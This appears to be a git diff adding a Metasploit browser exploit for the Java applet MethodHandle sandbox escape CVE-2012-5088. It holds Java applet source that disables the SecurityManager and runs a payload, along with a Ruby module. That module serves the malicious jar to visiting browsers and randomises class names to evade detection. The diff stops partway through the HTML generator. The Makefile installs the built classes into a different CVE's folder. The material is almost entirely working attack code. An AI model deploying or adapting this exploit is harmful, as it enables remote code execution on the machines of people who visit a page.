diff --git a/data/exploits/cve-2012-5088/B.class b/data/exploits/cve-2012-5088/B.class new file mode 100755 index 0000000000..953d5408a7 Binary files /dev/null and b/data/exploits/cve-2012-5088/B.class differ diff --git a/data/exploits/cve-2012-5088/Exploit.class b/data/exploits/cve-2012-5088/Exploit.class new file mode 100755 index 0000000000..13d3263fd8 Binary files /dev/null and b/data/exploits/cve-2012-5088/Exploit.class differ diff --git a/external/source/exploits/cve-2012-5088/B.java b/external/source/exploits/cve-2012-5088/B.java new file mode 100755 index 0000000000..fec2767060 --- /dev/null +++ b/external/source/exploits/cve-2012-5088/B.java @@ -0,0 +1,19 @@ +import java.security.AccessController; +import java.security.PrivilegedExceptionAction; + +public class B + implements PrivilegedExceptionAction +{ + public B() + { + try + { + AccessController.doPrivileged(this); } catch (Exception e) { + } + } + + public Object run() { + System.setSecurityManager(null); + return new Object(); + } +} diff --git a/external/source/exploits/cve-2012-5088/Exploit.java b/external/source/exploits/cve-2012-5088/Exploit.java new file mode 100755 index 0000000000..52045f3953 --- /dev/null +++ b/external/source/exploits/cve-2012-5088/Exploit.java @@ -0,0 +1,66 @@ +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import metasploit.Payload; +//import java.lang.Runtime; +import java.applet.Applet; +import java.lang.invoke.MethodHandle; +import java.lang.invoke.MethodHandles; +import java.lang.invoke.MethodType; +import java.lang.reflect.Method; + +public class Exploit extends Applet +{ + + public Exploit() + { + } + + public void init() + { + try + { + + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + byte[] buffer = new byte[8192]; + int length; + + // read in the class file from the jar + InputStream is = getClass().getResourceAsStream("B.class"); + // and write it out to the byte array stream + while( ( length = is.read( buffer ) ) > 0 ) + bos.write( buffer, 0, length ); + // convert it to a simple byte array + buffer = bos.toByteArray(); + + MethodHandles.Lookup localLookup = MethodHandles.publicLookup(); + MethodType localMethodType0 = MethodType.methodType(Class.class, String.class); + MethodHandle localMethodHandle0 = localLookup.findStatic(Class.class, "forName", localMethodType0); + Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" }); + Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" }); + MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class }); + MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1); + MethodType localMethodType2 = MethodType.methodType(Void.TYPE); + MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 }); + Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]); + MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class }); + MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3); + MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class); + MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 }); + Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null }); + MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class }); + MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 }); + Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, buffer }); + localClass3.newInstance(); + Payload.main(null); + //Runtime.getRuntime().exec("calc.exe"); + } + catch(Throwable ex) + { + //ex.printStackTrace(); + } + } + +} diff --git a/external/source/exploits/cve-2012-5088/Makefile b/external/source/exploits/cve-2012-5088/Makefile new file mode 100755 index 0000000000..abc39b7a2c --- /dev/null +++ b/external/source/exploits/cve-2012-5088/Makefile @@ -0,0 +1,16 @@ +CLASSES = \ + Exploit.java \ + B.java + +.SUFFIXES: .java .class +.java.class: + javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java + +all: $(CLASSES:.java=.class) + +install: + mv Exploit.class ../../../../data/exploits/cve-2013-0422/ + mv B.class ../../../../data/exploits/cve-2013-0422/ + +clean: + rm -rf *.class diff --git a/modules/exploits/multi/browser/java_jre17_method_handle.rb b/modules/exploits/multi/browser/java_jre17_method_handle.rb new file mode 100644 index 0000000000..89fd3db6fb --- /dev/null +++ b/modules/exploits/multi/browser/java_jre17_method_handle.rb @@ -0,0 +1,130 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::EXE + + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ :javascript => false }) + + def initialize( info = {} ) + + super( update_info( info, + 'Name' => 'Java Applet Method Handle Remote Code Execution', + 'Description' => %q{ + This module abuses the Method Handle class from a Java Applet to run arbitrary + Java code outside of the sandbox. The vulnerability affects Java version 7u7 and + earlier. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability discovery at security-explorations.com + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2012-5088' ], + [ 'URL', '86352' ], + [ 'BID', '56057' ], + [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-5.pdf' ], + [ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ] + ], + 'Platform' => [ 'java', 'win', 'osx', 'linux' ], + 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, + 'Targets' => + [ + [ 'Generic (Java Payload)', + { + 'Platform' => ['java'], + 'Arch' => ARCH_JAVA, + } + ], + [ 'Windows x86 (Native Payload)', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86, + } + ], + [ 'Mac OS X x86 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + } + ], + [ 'Linux x86 (Native Payload)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 10 2013' + )) + end + + + def setup + path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5088", "Exploit.class") + @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5088", "B.class") + @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } + + @exploit_class_name = rand_text_alpha("Exploit".length) + @exploit_class.gsub!("Exploit", @exploit_class_name) + super + end + + def on_request_uri(cli, request) + print_status("handling request for #{request.uri}") + + case request.uri + when /\.jar$/i + jar = payload.encoded_jar + jar.add_file("#{@exploit_class_name}.class", @exploit_class) + jar.add_file("B.class", @loader_class) + metasploit_str = rand_text_alpha("metasploit".length) + payload_str = rand_text_alpha("payload".length) + jar.entries.each { |entry| + entry.name.gsub!("metasploit", metasploit_str) + entry.name.gsub!("Payload", payload_str) + entry.data = entry.data.gsub("metasploit", metasploit_str) + entry.data = entry.data.gsub("Payload", payload_str) + } + jar.build_manifest + + send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) + when /\/$/ + payload = regenerate_payload(cli) + if not payload + print_error("Failed to generate the payload.") + send_not_found(cli) + return + end + send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) + else + send_redirect(cli, get_resource() + '/', '') + end + + end + + def generate_html + html = %Q|
Loading, Please Wait...